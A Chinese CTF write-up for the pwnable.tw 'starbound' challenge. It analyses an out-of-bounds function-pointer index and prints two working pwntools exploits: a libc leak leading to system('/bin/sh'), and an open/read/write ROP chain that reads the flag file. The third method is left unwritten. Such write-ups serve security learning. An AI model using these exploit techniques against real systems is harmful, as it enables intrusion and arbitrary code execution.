pwnable.tw 之 starbound

题目二进制文件:starbound

漏洞分析

以下是starbound的main函数,v3是用户输入的值,被用作数组index而未提前做检查,因此存在数组越界漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char nptr[256]; // [esp+10h] [ebp-104h] BYREF

init();
while ( 1 )
{
dword_805817C(60);
if ( !readn(nptr, 0x100u) )
break;
v3 = strtol(nptr, 0u, 10);
if ( !v3 )
break;
((void (*)(void))dword_8058154[v3])();
}
do_bye();
return 0;
}

dword_8058154是bss段的地址,这附近存放了许多函数指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int show_main_menu()
{
int result; // eax

puts("\n-+STARBOUND v1.0+-");
puts(" 0. Exit");
puts(" 1. Info");
puts(" 2. Move");
puts(" 3. View");
puts(" 4. Tools");
puts(" 5. Kill");
puts(" 6. Settings");
puts(" 7. Multiplayer");
__printf_chk(1, "> ");
for ( result = 0; result <= 9; ++result )
dword_8058154[result] = (int)cmd_nop;
dword_8058158 = (int)cmd_info;
dword_805815C = (int)cmd_move;
dword_8058160 = (int)cmd_view;
dword_8058164 = (int)cmd_build;
dword_8058168 = (int)cmd_kill;
dword_805816C = (int)cmd_settings;
dword_8058170 = (int)cmd_multiplayer;
return result;
}

考虑通过数组越界访问到一些恶意构造的函数指针,这样我们就能劫持控制流。

继续分析程序分支,show_main_menu() —> cmd_settings() —> show_settings_menu() —> cmd_set_name()中,byte_80580D0也是bss段的地址,且我们可以控制其内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
void cmd_go_back()
{
dword_805817C = show_main_menu;
}

int show_main_menu()
{
int result; // eax

puts("\n-+STARBOUND v1.0+-");
puts(" 0. Exit");
puts(" 1. Info");
puts(" 2. Move");
puts(" 3. View");
puts(" 4. Tools");
puts(" 5. Kill");
puts(" 6. Settings");
puts(" 7. Multiplayer");
__printf_chk(1, "> ");
for ( result = 0; result <= 9; ++result )
dword_8058154[result] = (int)cmd_nop;
dword_8058158 = (int)cmd_info;
dword_805815C = (int)cmd_move;
dword_8058160 = (int)cmd_view;
dword_8058164 = (int)cmd_build;
dword_8058168 = (int)cmd_kill;
dword_805816C = (int)cmd_settings;
dword_8058170 = (int)cmd_multiplayer;
return result;
}

void cmd_settings()
{
dword_805817C = show_settings_menu;
}

int show_settings_menu()
{
int result; // eax

if ( dword_80580CC )
cmd_view();
puts("\n-+STARBOUND v1.0: SETTINGS+-");
puts(" 0. Exit");
puts(" 1. Back");
puts(" 2. Name");
puts(" 3. IP");
puts(" 4. Toggle View");
__printf_chk(1, "> ");
for ( result = 0; result <= 9; ++result )
dword_8058154[result] = (int)cmd_nop;
dword_8058158 = (int)cmd_go_back;
dword_805815C = (int)cmd_set_name;
dword_8058160 = (int)cmd_set_ip;
dword_8058164 = (int)cmd_set_autoview;
return result;
}

int cmd_set_name()
{
int result; // eax

__printf_chk(1, "Enter your name: ");
result = readn(byte_80580D0, 100u);
*(_BYTE *)(result + 0x80580CF) = 0;
return result;
}

计算一下byte_80580D0与dword_8058154两者的距离,因此通过dword_8058154[-33]即可访问到byte_80580D0地址存放的内容。此时已实现控制流劫持。

1
2
>>> hex(0x8058154-0x80580D0)
'0x84'

漏洞利用

程序中:

  • 没有后门函数
  • 没有system或execve函数
  • 没有int 80或syscall指令
  • 没有“/bin/sh”字符串
  • 没有给libc

方法1:泄露libc版本

首先想到的是,通过泄露libc版本,进而执行one_gadget或构造system(“/bin/sh”)这种方法。

exp如下,该方法在本地能成功。但是在泄露远程libc版本时,发现泄露不同函数会得到不同libc版本。猜测远程libc是特意改过的,无法用这种方法准确获得system函数在libc中的偏移,故本题放弃使用该方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
context(arch="i386",os="linux",log_level="debug")

libc_elf = ELF("./libc-2.27.so")
io = process("./starbound")
# io = remote("chall.pwnable.tw",10202)

# io.recvuntil("Landing ...")
# gdb.attach(io,"b *0x804A659 \n c")

### 1、往byte_80580D0位置写入目的函数指针,这里选0x08048e48先调整一下栈空间,方便2的利用
io.recvuntil("> ")
io.sendline(str(6))
io.recvuntil("> ")
io.sendline(str(2))
name_e = p32(0x08048e48)
# 0x08048e48 : add esp, 0x1c ; ret
# 0x08048936 : add esp, 8 ; pop ebx ; ret

# printf_chk@plt 0x80489F0
io.recvuntil("name: ")
io.sendline(name_e)

### 2、根据此时栈空间的情况,构造了如下payload。当1中gadget执行完返回后,会执行puts(read@got)
### 然后再次返回到0x804A605(main开头)。此时泄露了read函数的真正地址,并拥有重新从main函数执行的能力
payload = '-33\x00'+'aaaa'+p32(0x8048b90)+p32(0x804A605)+p32(0x8055054)
# puts@plt 0x8048b90
# write@got 0x8055044 --
# puts@got 0x805509C
# read@got 0x8055054
io.recvuntil("> ")
io.sendline(payload)

read_addr = u32(io.recv(4))
print "!!!!read!!!!!"
print hex(read_addr)
libc_base = read_addr - libc_elf.symbols["read"]
system_addr = libc_base + libc_elf.symbols["system"]
print "!!!!libc_base!!!!"
print hex(libc_base)
print "!!!!system!!!!"
print hex(system_addr)

### 3、劫持控制流以执行system(" -33;/bin/sh\x00")
io.recvuntil("> ")
io.sendline(str(6))
io.recvuntil("> ")
io.sendline(str(2))
name_e = p32(system_addr)
io.recvuntil("name: ")
io.sendline(name_e)
payload = " -33;/bin/sh\x00" # 相当于命令注入。通过尝试,在-33前加入空格才能利用成功
io.recvuntil("> ")
io.sendline(payload)
io.interactive()

方法2:ORW

在程序got表中看了看,发现有正好有open、read、write三个函数!这正好可以构造orw!当然在不知flag目录的前提下有点难度,不过pwnable.tw的flag一般在/home/题目名/flag,所以这里取个巧。

需要注意的是,ctf题目中,一般情况下程序中不会打开其他文件,因此进程只有0 1 2 (stdin,stdout,stderr)这三个文件描述符。因此,当我们使用open打开文件后,其fd一定是3。

如果程序中打开了其他文件,依次尝试下4/5/6就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context(arch="i386",os="linux",log_level="debug")

# io = process("./starbound")
io = remote("chall.pwnable.tw",10202)

# io.recvuntil("Landing ...")
# # gdb.attach(io,"b *0x804A659 \n c")
# gdb.attach(io,"b open \n c")

def send_payload(val1,val2):
io.recvuntil("> ")
io.sendline(str(6))
io.recvuntil("> ")
io.sendline(str(2))
name_e = val1
io.recvuntil("name: ")
io.sendline(name_e)
payload = val2
io.recvuntil("> ")
io.sendline(payload)

### open("/home/starbound/flag",0)
val1 = p32(0x08048e48)+"/home/starbound/flag\x00"
val2 = '-33\x00'+'aaaa'+p32(0x8048970)+p32(0x804A605)+p32(0x80580D4)+p32(0)
send_payload(val1,val2)

### read(3,0x80580F0,0x30)
val1 = p32(0x08048e48)
val2 = '-33\x00'+'aaaa'+p32(0x8048A70)+p32(0x804A605)+p32(3)+p32(0x80580F0)+p32(0x30)
send_payload(val1,val2)

### write(1,0x8058F0,0x30)
val1 = p32(0x08048e48)
val2 = '-33\x00'+'aaaa'+p32(0x8048A30)+p32(0x804A605)+p32(1)+p32(0x80580F0)+p32(0x30)
send_payload(val1,val2)

### 收flag!
flag = io.recv(0x20)
print flag

io.recvuntil(">")
io.interactive()

方法3:ret2dl_runtime_resolve

看了别人的wp,基本上都是用这种方法来做的。这种方法比较保险,但是过程有点复杂。

犯懒了,哪天想起来再补上吧~